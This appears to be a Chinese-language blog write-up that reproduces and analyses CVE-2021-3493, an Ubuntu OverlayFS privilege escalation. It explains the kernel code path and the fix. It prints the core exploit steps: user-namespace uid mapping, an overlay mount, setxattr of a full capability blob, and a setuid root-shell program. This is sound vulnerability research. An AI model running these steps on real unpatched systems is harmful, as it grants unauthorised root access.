CVE-2021-3493
我复现的第一个 CVE,[font color="#8470FF"]cheers![/font]
Ubuntu 所特有的一个权限提升漏洞。
前置知识
capabilities
当普通用户需要做一些 root 权限下才能做的事情时,一种方法是用 sudo 提权,一种方法是使用 suid,比如 passwd 这个程序。但是 suid 给予程序的权限过高,比如 passwd 直接拥有了完整的 root 权限,这就导致一旦 passwd 出现了漏洞,攻击者就可以完全控制目标靶机。Linux 内核在 2.2 版本后引入了 capabilities 机制来切分 root 权限,使得每个线程和文件都可以拥有其需要的一部分 root 权限。
以文件为例,首先编译一个提权的程序
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
int main()
{
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", NULL);
}
编译后直接执行
# chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:47:30]
$ gcc magic.c -o magic
# chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:47:33]
$ ./magic
chuj@ubuntu:~/ctf/CVE-2021-3493$ id
uid=1000(chuj) gid=1000(chuj) groups=1000(chuj),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker)
以普通用户运行,自然是无法成功提权的。然后我们给他加上 CAP_SETUID 和 CAP_SETGID 这两个 capabilities,使用 setcap 即可
# chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:48:48]
$ sudo setcap cap_setuid,cap_setgid=+eip ./magic
[sudo] password for chuj:
# chuj @ ubuntu in ~/ctf/CVE-2021-3493 [15:49:10]
$ ./magic
root@ubuntu:~/ctf/CVE-2021-3493# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker),1000(chuj)
执行之后,发现成功提权。但是这里需要使用 root 权限才能设置 capabilities,而 CVE-2021-3493 就是利用了在 Ubuntu 下的一个不需要 root 权限就可以设置 capabilities 的漏洞实现的权限提升。
namespace
namespace 机制是 Linux 提供一个在内核级隔离资源的机制,目前提供了六种资源的隔离
Mount
: 隔离文件系统挂载点UTS
: 隔离主机名和域名信息IPC
: 隔离进程间通信PID
: 隔离进程的IDNetwork
: 隔离网络资源User
: 隔离用户和用户组的ID
在此 CVE 中,主要利用了 User Namespace 来“伪造”root 用户绕过检测。在 User Namespace 中,使用到了 /proc/$pid/ 文件夹中的 uid_map 和 gid_map 这两个文件来进行 id 的映射,内容为三个数字:first-ns-id first-target-id count
- first-ns-id:在新的 namespace 中被映射的 user id
- first-target-id:被映射的 user id
- count:表示映射的范围,为 1 表示只映射一个,大于1表示按顺序映射
我们建立新的名称空间时,把 first-ns-id 设置为 0,first-target-id 设置为原名称空间中进程的 id,这样就可以在新的名称空间中获得到 root 权限,但是此权限不超过在原名称空间中的权限。举个例子
建立这样一个新的名称空间
uid_t out_uid = getuid();
gid_t out_gid = getgid();
unshare(CLONE_NEWNS | CLONE_NEWUSER); // create a new namespace
write_file("/proc/self/setgroups", "deny");
char buf[0x100];
sprintf(buf, "0 %d 1", out_uid);
write_file("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", out_gid);
write_file("/proc/self/gid_map", buf);
execl("/bin/bash", "/bin/bash", NULL);
执行后
root@ubuntu:~/ctf/CVE-2021-3493# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
root@ubuntu:~/ctf/CVE-2021-3493# cd /root
bash: cd: /root: Permission denied
可以发现虽然 uid 是 0 了,但是仍然无法访问 root 的文件夹。
OverlayFS
可以参考深入理解overlayfs(一):初识,写的很详细
xattr
man page。xattr(文件拓展属性)是永久关联到文件和目录的键值,可以让文件系统支持在其原始设计中不支持的功能,使用 setxattr 可以设置拓展属性,getxattr 可以获得拓展属性。通过此函数也可以设置文件的 capabilities
环境准备
这个洞不是溢出之类的洞,所以 exp 应该不容易把内核搞 panic 掉,同时也没什么动调的必要,最重要的是我不知道为什么 qemu 起的虚拟机没法复现,所以就直接用宿主虚拟机了。
看了一下 Ubuntu 的漏洞信息页面,也没看出来具体是在什么时候修复的,Ubuntu 20.04 大概是在镜像版本为 5.8.0-50.56~20.04.1
时修复的,看了一下我的虚拟机
$ uname -a
Linux ubuntu 5.8.0-61-generic #68~20.04.1-Ubuntu SMP Wed Jun 30 10:32:39 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
版本还是比较高的,所以需要先降级,首先通过 grep menuentry /boot/grub/grub.cfg
来看一下当前能用的内核
$ grep menuentry /boot/grub/grub.cfg
if [ x"${feature_menuentry_id}" = xy ]; then
menuentry_id_option="--id"
menuentry_id_option=""
export menuentry_id_option
menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
submenu 'Advanced options for Ubuntu' $menuentry_id_option 'gnulinux-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
menuentry 'Ubuntu, with Linux 5.8.0-61-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-61-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
menuentry 'Ubuntu, with Linux 5.8.0-61-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-61-generic-recovery-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
menuentry 'Ubuntu, with Linux 5.8.0-59-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-59-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
menuentry 'Ubuntu, with Linux 5.8.0-59-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-59-generic-recovery-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
menuentry 'Ubuntu, with Linux 5.8.0-43-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-43-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
menuentry 'Ubuntu, with Linux 5.8.0-43-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-5.8.0-43-generic-recovery-cb8134cd-0aae-44b6-9e58-cf92d64e9902' {
menuentry 'Memory test (memtest86+)' {
menuentry 'Memory test (memtest86+, serial console 115200)' {
如果没有符合条件的内核,可以通过 apt 安装,执行 sudo apt search linux-image | grep 5.8.0
就可以出来一堆,随便找一个低版本的就可以了,比如我选择 linux-image-5.8.0-43-generic
,那么如下操作
sudo apt install linux-headers-5.8.0-43-generic linux-image-5.8.0-43-generic
就可以安装上了。
然后修改一下 grub
sudo vim /etc/default/grub
修改其中的 GRUB_DEFAULT 项,在我的虚拟机中,该项默认值为 0,这里修改为
GRUB_DEFAULT="gnulinux-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902>gnulinux-5.8.0-43-generic-advanced-cb8134cd-0aae-44b6-9e58-cf92d64e9902"
这些信息通过 grep menuentry /boot/grub/grub.cfg
都可以找到,然后更新 grub 再重启就可以了
sudo update-grub
sudo reboot
漏洞分析
我们首先构造一个沙盒,在其中先提权到 root 权限,如下
mkdir("./exploit", 0777);
mkdir("./exploit/upper", 0777);
mkdir("./exploit/lower", 0777);
mkdir("./exploit/work", 0777);
mkdir("./exploit/merge", 0777);
uid_t out_uid = getuid();
gid_t out_gid = getgid();
unshare(CLONE_NEWNS | CLONE_NEWUSER); // create a new namespace
write_file("/proc/self/setgroups", "deny");
char buf[0x100];
sprintf(buf, "0 %d 1", out_uid);
write_file("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", out_gid);
write_file("/proc/self/gid_map", buf);
mount("overlay", "./exploit/merge", "overlay", 0, \
"lowerdir=./exploit/lower,upperdir=./exploit/upper,workdir=./exploit/work");
char cap[] = \
"\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
copy_file("/proc/self/exe", "./exploit/merge/get_root");
setxattr("./exploit/merge/get_root", "security.capability", cap, sizeof(cap) - 1, 0);
这样我们就可以在新建立的 namespace 中获得 root 权限,并且挂载一个 overlayfs 到 ./exploit/merge
目录下。此时我们无法仍然无法执行超过原先普通用户权限的操作,但是在新的名称空间中,我们已经拥有了 root 权限。这个沙盒的示意图如下

然后我们在 ./exploit/merge
中创建一个会通过 setuid setgid 提权的程序,这里通过拷贝自身来实现。拷贝自身后的示意图为

而漏洞主要出现在 setxattr 函数的调用链中,在设置 xattr 时的权限检测不全面,导致了非 root 用户也可以设置文件的 capabilities。
setxattr 函数的实现为
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];
if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
return -EINVAL;
error = strncpy_from_user(kname, name, sizeof(kname));
if (error == 0 || error == sizeof(kname))
error = -ERANGE;
if (error < 0)
return error;
if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(kvalue, size);
else if (strcmp(kname, XATTR_NAME_CAPS) == 0) {
error = cap_convert_nscap(d, &kvalue, size);
if (error < 0)
goto out;
size = error;
}
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
kvfree(kvalue);
return error;
}
我们利用时的调用将会是
setxattr("./exploit/merge/get_root", "security.capability", cap, sizeof(cap) - 1, 0);
所以在 28 行处的判断最后会进入 else if 中,执行 cap_convert_nscap 函数,这个函数的实现为
int cap_convert_nscap(struct dentry *dentry, void **ivalue, size_t size)
{
struct vfs_ns_cap_data *nscap;
uid_t nsrootid;
const struct vfs_cap_data *cap = *ivalue;
__u32 magic, nsmagic;
struct inode *inode = d_backing_inode(dentry);
struct user_namespace *task_ns = current_user_ns(),
*fs_ns = inode->i_sb->s_user_ns;
kuid_t rootid;
size_t newsize;
if (!*ivalue)
return -EINVAL;
if (!validheader(size, cap))
return -EINVAL;
if (!capable_wrt_inode_uidgid(inode, CAP_SETFCAP))
return -EPERM;
if (size == XATTR_CAPS_SZ_2)
if (ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP))
/* user is privileged, just write the v2 */
return size;
rootid = rootid_from_xattr(*ivalue, size, task_ns);
if (!uid_valid(rootid))
return -EINVAL;
nsrootid = from_kuid(fs_ns, rootid);
if (nsrootid == -1)
return -EINVAL;
newsize = sizeof(struct vfs_ns_cap_data);
nscap = kmalloc(newsize, GFP_ATOMIC);
if (!nscap)
return -ENOMEM;
nscap->rootid = cpu_to_le32(nsrootid);
nsmagic = VFS_CAP_REVISION_3;
magic = le32_to_cpu(cap->magic_etc);
if (magic & VFS_CAP_FLAGS_EFFECTIVE)
nsmagic |= VFS_CAP_FLAGS_EFFECTIVE;
nscap->magic_etc = cpu_to_le32(nsmagic);
memcpy(&nscap->data, &cap->data, sizeof(__le32) * 2 * VFS_CAP_U32);
kvfree(*ivalue);
*ivalue = nscap;
return newsize;
}
注意 19 行处,我们提供的 cap 参数是满足这里的判断的,所以会执行 ns_capable,这个函数做的就是检测当前线程是否有足够的特权。实际调用的 ns_capable_common,实现为
static bool ns_capable_common(struct user_namespace *ns,
int cap,
unsigned int opts)
{
int capable;
if (unlikely(!cap_valid(cap))) {
pr_crit("capable() called with invalid cap=%u\n", cap);
BUG();
}
capable = security_capable(current_cred(), ns, cap, opts);
if (capable == 0) {
current->flags |= PF_SUPERPRIV;
return true;
}
return false;
}
可见是通过 security_capable 这个函数来检测的,检测的就是当前线程在当前名称空间下的特权级是否有设置 cap 的权限。之前我们设置了 uid_map 和 gid_map,这个检测是可以通过的
if (ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP))
/* user is privileged, just write the v2 */
return size;
正如注释中所说,检测后说明用户权限足够,就把 cap 写到文件的 xattr 中,这是之后调用的 vfs_setxattr 做的事,该函数的实现如下
int
vfs_setxattr(struct dentry *dentry, const char *name, const void *value,
size_t size, int flags)
{
struct inode *inode = dentry->d_inode;
struct inode *delegated_inode = NULL;
int error;
retry_deleg:
inode_lock(inode);
error = __vfs_setxattr_locked(dentry, name, value, size, flags,
&delegated_inode);
inode_unlock(inode);
if (delegated_inode) {
error = break_deleg_wait(&delegated_inode);
if (!error)
goto retry_deleg;
}
return error;
}
EXPORT_SYMBOL_GPL(vfs_setxattr);
一路调用下去会执行到
static const struct xattr_handler *
xattr_resolve_name(struct inode *inode, const char **name)
{
const struct xattr_handler **handlers = inode->i_sb->s_xattr;
const struct xattr_handler *handler;
if (!(inode->i_opflags & IOP_XATTR)) {
if (unlikely(is_bad_inode(inode)))
return ERR_PTR(-EIO);
return ERR_PTR(-EOPNOTSUPP);
}
for_each_xattr_handler(handlers, handler) {
const char *n;
n = strcmp_prefix(*name, xattr_prefix(handler));
if (n) {
if (!handler->prefix ^ !*n) {
if (*n)
continue;
return ERR_PTR(-EINVAL);
}
*name = n;
return handler;
}
}
return ERR_PTR(-EOPNOTSUPP);
}
这个函数根据文件的类型计算出了 handler,我们在调用 setxattr 执行之前,设置了一个 overlayfs,并把它挂载到了 ./exploit/merge
中。而被设置 cap 的程序为 ./exploit/merge/get_root
,他就属于 overlayfs 文件系统了,inode 标识的就是 overlayfs。对于 overlayfs 自然调用的就是 ovl_xattr_set 了。
int ovl_xattr_set(struct dentry *dentry, struct inode *inode, const char *name,
const void *value, size_t size, int flags)
{
int err;
struct dentry *upperdentry = ovl_i_dentry_upper(inode);
struct dentry *realdentry = upperdentry ?: ovl_dentry_lower(dentry);
const struct cred *old_cred;
err = ovl_want_write(dentry);
if (err)
goto out;
if (!value && !upperdentry) {
old_cred = ovl_override_creds(dentry->d_sb);
err = vfs_getxattr(&init_user_ns, realdentry, name, NULL, 0);
revert_creds(old_cred);
if (err < 0)
goto out_drop_write;
}
if (!upperdentry) {
err = ovl_copy_up(dentry);
if (err)
goto out_drop_write;
realdentry = ovl_dentry_upper(dentry);
}
old_cred = ovl_override_creds(dentry->d_sb);
if (value)
err = vfs_setxattr(&init_user_ns, realdentry, name, value, size,
flags);
else {
WARN_ON(flags != XATTR_REPLACE);
err = vfs_removexattr(&init_user_ns, realdentry, name);
}
revert_creds(old_cred);
/* copy c/mtime */
ovl_copyattr(d_inode(realdentry), inode);
out_drop_write:
ovl_drop_write(dentry);
out:
return err;
}
进入函数后,根据 overlayfs 文件系统的特性,我们可以推断出来,upperdentry 就是 ./exploit/upper/get_root
,realdentry 也是。而 ./exploit/upper/get_root
就是 ext3 文件系统下的提权二进制文件。这个函数会执行到 30 中的 if 中,再次调用 vfs_setxattr,这一次就是向沙盒外的二进制文件写 cap 了。一路上没有特权级检查,成功把沙盒外的 cap 改写了,然后执行该二进制就可以提权了。
完整的 exp 可以参考 pwnwiki。
修复
回想一下,一次正常的 setxattr 操作,特权级检查是在什么时候做的?
答:就是在 setxattr 函数做的。并且在 vfs_setxattr 中并没有做二次检查。
那么修复的方法就是把判断移到 vfs_setxattr 中

后记
这个漏洞是 Ubuntu 独有的,因为在 Linux 内核主线中,普通用户是不能创建 overlayfs 的,但是 Ubuntu 中给予了普通用户这个权限,所以才出现了这个漏洞。
总结一下漏洞的原理就是:构造沙盒后,在新的 namespace 中有 root 权限,并且 overlayfs 的 merge 目录中的所有文件都是属于新的 namespace 的,文件类型为 overlayfs 文件。给 overlayfs 的 merge 目录中的文件设置 capabilities 自然是合法的,而在对这些文件写时会影响到 upper 目录中的私有 ext3 文件,在这里没有进行完整的权限检查导致了 root 权限的沙盒逃逸。

参考
Ubuntu内核OverlayFS权限逃逸漏洞分析(CVE-2021-3493)